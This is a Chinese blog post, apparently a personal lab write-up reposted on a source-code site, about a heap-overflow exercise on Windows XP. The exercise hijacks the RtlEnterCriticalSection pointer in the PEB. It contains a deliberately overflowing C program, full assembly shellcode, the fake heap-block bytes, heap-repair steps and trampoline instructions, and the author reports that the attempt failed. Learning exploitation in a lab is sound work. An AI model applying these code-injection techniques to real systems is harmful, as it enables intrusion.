堆溢出 代码植入 狙击RtlEnterCriticalSection()函数指针


代码

#include <windows.h>
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90……";
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break process
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}

PEB中偏移为0x20,0x24的地方分别放着指向FastPebLockRoutine,和FastPebUnlockRoutine这两个函数的指针,这两个函数分别对应着函数的加锁与解锁,为多线程时,对该线程数据的保护操作,加上FastPebLockRoutine锁了之后,该段数据在同一时间只允许一个线程对其操作,如果要让另一线程使用该段数据必须使用FastPebUnlockRoutine解锁。
所以这次打算通过程序堆的异常使程序调用Exitprocess,调用Exitprocess时也会调用这两个函数,因此我们可以通过修改这两个函数的指针来起到劫持的作用。
h1向堆中申请了 200 字节的空间。memcpy 的上限错误地写成了 0x200,这实际上是 512 字节,所以会产生溢出。用伪造的指针覆盖尾块块首中的空表指针,当 h2 分配时,将导致 DWORD SHOOT。0x7FFDF020 处的 RtlEnterCriticalSection()函数指针,直接修改为 shellcode 的位置。DWORD SHOOT 完毕后,堆溢出导致异常,最终将调用 ExitProcess()结束进程。ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从 P.E.B 中拿出了指向 shellcode 的指针,因此 shellcode 被执行。

+0x020 FastPebLockRoutine : //PEB加锁
+0x024 FastPebUnlockRoutine : //解锁

实验目的

简单实现狙击RtlEnterCriticalSection()函数指针

实验准备

环境:windows xp
编译器:vc++
调试器:OD

实验过程

1.先写一个shellcode,大体上与之前的弹出窗口shellcode思路相仿,然后把200字节空间填满后,再溢出,把下一个尾块的空表指针给替换了,前向指针改成shellcode的起始地址,后向指针改成FastPebLockRoutine。这样相当于程序调用这个函数的时候就调用的是你的shellcode。
堆溢出  代码植入 狙击RtlEnterCriticalSection()函数指针

nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop //填充
cld //使DF标志位复位
push 0x1E380A6A
push 0x4FD18963
push 0x0C917432 //保存MassageBox,ExitProcess,LoadLibrary的hash值
mov esi,esp //堆栈指针放入esi寄存器
lea edi,dword ptr ds:[esi-0xC]

xor ebx,ebx
mov bh,0x4
sub esp,ebx

mov bx,0x3233
push ebx
push 0x72657375
push esp
xor edx,edx//user32

mov ebx,dword ptr fs:[edx+0x30]
mov ecx,dword ptr ds:[ebx+0xC]
mov ecx,dword ptr ds:[ecx+0x1C]
mov ecx,dword ptr ds:[ecx]
mov ebp,dword ptr ds:[ecx+0x8]//kernel32地址

lods dword ptr ds:[esi]
cmp eax,0x1E380A6A//比较MassageBox的hash值
jnz short 003A06E4
xchg eax,ebp
call dword ptr ds:[edi-0x8]//LoadLibrary(user32)
xchg eax,ebp

pushad
mov eax,dword ptr ss:[ebp+0x3C]//e_lfanew
mov ecx,dword ptr ss:[ebp+eax+0x78]
add ecx,ebp
mov ebx,dword ptr ds:[ecx+0x20]
add ebx,ebp//找到位于里面的导出函数名称表
xor edi,edi

inc edi
mov esi,dword ptr ds:[ebx+edi*4]
add esi,ebp//遍历名称
cdq

movsx eax,byte ptr ds:[esi]
cmp al,ah
je short 003A070B
ror edx,0x7
add edx,eax
inc esi
jmp short 003A06FC//hash算法

cmp edx,dword ptr ss:[esp+0x1C]
jnz short 003A06F5
mov ebx,dword ptr ds:[ecx+0x24]
add ebx,ebp
mov di,word ptr ds:[ebx+edi*2]
mov ebx,dword ptr ds:[ecx+0x1C]
add ebx,ebp
add ebp,dword ptr ds:[ebx+edi*4]
xchg eax,ebp
pop edi
stos dword ptr es:[edi]
push edi
popad
cmp eax,0x1E380A6A
jnz short 003A06D7//找到函数地址

xor ebx,ebx
push ebx
push 0x74736577
push 0x6C696166
mov eax,esp
push ebx
push eax
push eax
push ebx
call dword ptr ds:[edi-0x4]
push ebx
call dword ptr ds:[edi-0x8]//弹出窗口并退出
nop
nop
nop
nop
nop
nop
nop
nop
\x16\x01\x1A\x00\x00\x10\x00\x00// head of the free block
\x88\x06\x3a\x00//指向shellcode的开头
\x20\xf0\xfd\x7f//指向FastPebLockRoutine

2.但是直接把FastPebLockRoutine地址改了的话,shellcode中调用这个函数的函数就都没办法用了,所以修改一下shellcode前面。调用完函数进入shellcode之后再把FastPebLockRoutine还原。
(最后还是没有实验成功,应该是系统机制的问题,我改了FastPebLockRoutine的指针还是没弹出窗口,标准实验实在windows 2k下进行的,我是在xp下。改天下个2k的虚拟机重新整次,感觉好像是windows xp下FastPebLockRoutine指针的位置发生变化了)

MOV EAX,7FFDF020
MOV EBX,[7FFDF020]
MOV [EAX],EBX

总结

虽然这次没有成功。。函数的地方最后还是没找到。但是还是了解了下堆溢出的应用。
还是根据书上的简单做做总结吧。
首先堆调试要分调试态和常态,要用int 3去触发异常,然后再attach进程,不能直接拖进od,或者可以修改检测调试器的函数的检测值。比如修改IsDebugPresent的返回值。
还要注意修护环境,比如这次对FastPebLockRoutine指针的修改就必须要调回去,不然就会影响接下来的函数,同样shellcode开始时也要注意环境的初始化,不然一些符号标志位上可能会影响跳转。
在堆溢出中,有时还需要修复被我们折腾得乱七八糟的堆区。通常,比较简单修复堆区的
做法包括如下步骤。
(1)在堆区偏移 0x28 的地方存放着堆区所有空闲块的总和 TotalFreeSize。
(2)把一个较大块(或干脆直接找个暂时不用的区域伪造一个块首)块首中标识自身大小的两个字节(self size)修改成堆区空闲块总容量的大小(TotalFreeSize)。
(3)把该块的 flag 位设置为 0x10(last entry 尾块)。
(4)把 freelist[0]的前向指针和后向指针都指向这个堆块。
这样可以使整个堆区“看起来好像是”刚初始化完”只有一个大块的样子,不但可以继续完成分配工作,还保护了堆中已有的数据。(这方法太强了,相当于直接新开了一块堆区)
还有可能shellcode面对地址随机化的问题,要像栈溢出运用jmp esp定位一样,在程序中寻找跳板,因为堆溢出一般是把shellcode“绑定”到一个函数上的,因此可以用以下指令来起到跳板的作用。

CALL DWORD PTR [EDI + 0x78]
CALL DWORD PTR [ESI+0x4C]
CALL DWORD PTR [EBP+0x74]

(吾爱破解的OD不知道为什么int 3中断之后nop还是不能F7,F8。没办法观察堆。得要用原版的OD异常弹出之后才能仔细观察。下次整个原版OD慢慢再调次)

原创:https://www.panoramacn.com
源码网提供WordPress源码,帝国CMS源码discuz源码,微信小程序,小说源码,杰奇源码,thinkphp源码,ecshop模板源码,微擎模板源码,dede源码,织梦源码等。

专业搭建小说网站,小说程序,杰奇系列,微信小说系列,app系列小说

堆溢出  代码植入 狙击RtlEnterCriticalSection()函数指针

免责声明,若由于商用引起版权纠纷,一切责任均由使用者承担。

您必须遵守我们的协议,如果您下载了该资源行为将被视为对《免责声明》全部内容的认可-> 联系客服 投诉资源
www.panoramacn.com资源全部来自互联网收集,仅供用于学习和交流,请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除。 敬请谅解! 侵权删帖/违法举报/投稿等事物联系邮箱:2640602276@qq.com
未经允许不得转载:书荒源码源码网每日更新网站源码模板! » 堆溢出 代码植入 狙击RtlEnterCriticalSection()函数指针
关注我们小说电影免费看
关注我们,获取更多的全网素材资源,有趣有料!
120000+人已关注
分享到:
赞(0) 打赏

评论抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

您的打赏就是我分享的动力!

支付宝扫一扫打赏

微信扫一扫打赏